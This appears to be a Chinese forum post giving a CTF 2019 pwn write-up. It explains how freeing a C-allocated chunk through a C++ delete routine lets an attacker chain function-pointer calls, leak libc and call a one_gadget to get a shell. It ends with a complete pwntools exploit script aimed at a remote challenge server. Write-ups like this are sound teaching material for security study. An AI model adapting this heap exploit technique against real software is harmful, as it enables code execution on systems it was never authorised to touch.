首页
社区
课程
招聘
[原创]CTF2019_Q1_C与C++
2019-3-25 13:18 7451

[原创]CTF2019_Q1_C与C++

2019-3-25 13:18
7451

一血,again
这次还算比较好,抢了两个PWN一血,也算是第一次参加看雪,因为之前一直赶上考试周,没有时间

Analyze

这里提供了两种malloc和free方式
两种分配方式都会每16字节进行一次存储,每一块包含function_ptr(析构)+16bytes string(c对应的func设为0,c++为&400F20)
不同点:
c++对应的分配会在chunk起始写入字节被分割的数目,但c不会:
c

 


正是这种偏差,当我们用c方式malloc一个chunk,但是用c++进行free时
在c++对应的free:

void __fastcall delete_func(__int64 a1)
{
  void (***v1)(); // rdx
  void (***v2)(); // rbx
  void (*v3)(); // rax

  v1 = (void (***)())ptr[a1];
  if ( v1 )
  {
    v2 = &v1[3 * (_QWORD)*(v1 - 1)];
    while ( v2 != v1 )
    {
      while ( 1 )
      {
        v2 -= 3;
        v3 = **v2;
        if ( v3 == nullsub_1 )
          break;
        ((void (__fastcall *)(void (***)()))v3)(v2);
        v1 = (void (***)())ptr[a1];
        if ( v2 == v1 )
          goto LABEL_6;
      }
    }
LABEL_6:
    operator delete[](v2 - 1);
  }
  ptr[a1] = 0LL;
}

其会把chunk size当做分割数定位结束位置:

v2 = &v1[3 * (_QWORD)*(v1 - 1)];

但这样显然会远超过本chunk
所以当我们在目标位置写入一个指向其他函数的指针时(这里可以考虑在name处写入一个func addr,这样在目标地址写入name的地址,就会最终调用我们需要的function),当调用完这个函数v2指针减三,此处我们依然可控......,由此便可生成一条调用链:
leak libc->main func
回到main函数后依然利用此漏洞来调用one_gadget
由此便可get shell
注意leak问题:
在输出menu时有个函数:

void menu()
{
  int v0; // eax

  puts("1. malloc");
  puts("2. free");
  puts("3. new");
  puts("4. delete");
  puts("5. puts");
  puts("6. exit");
  __printf_chk(1LL, (__int64)">> ");
  if ( v0 == 0xDEADBEEF )
    leak();
}

当v0=0xDEADBEEF时调用,实际无法调用(至少没有直接方法)
但是进入此函数:

void leak()
{
  signed __int64 v0; // [rsp-8h] [rbp-8h]

  v0 = '\np%';
  __printf_chk(0LL, (__int64)&v0);
}

发现他可以leak一个地址
当我们写入调用链,其会输出libc中的一个地址
由此选择此函数进行leak

EXP

from pwn import *

context.log_level="debug"

def malloc(length,note):
   p.sendlineafter(">> ","1")
   p.sendlineafter("string\n",str(length))
   p.sendafter("string\n",note)

def delete(index):
   p.sendlineafter(">> ","4")
   p.sendlineafter("string\n",str(index))

#p=process("./candcpp")
p=remote("154.8.222.144",9999)
p.sendlineafter("name: ",p64(0x400e10)+p64(0x4009a0))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1b3+fake+p64(0x602328)*2+"\n")
delete(0)
libc_addr=int(p.recv(0xf),16)-0x6f690
print hex(libc_addr)
p.sendlineafter("name: ",p64(libc_addr+0xf02a4))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1c2+p64(0x602328)*2+"\n")
delete(2)
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回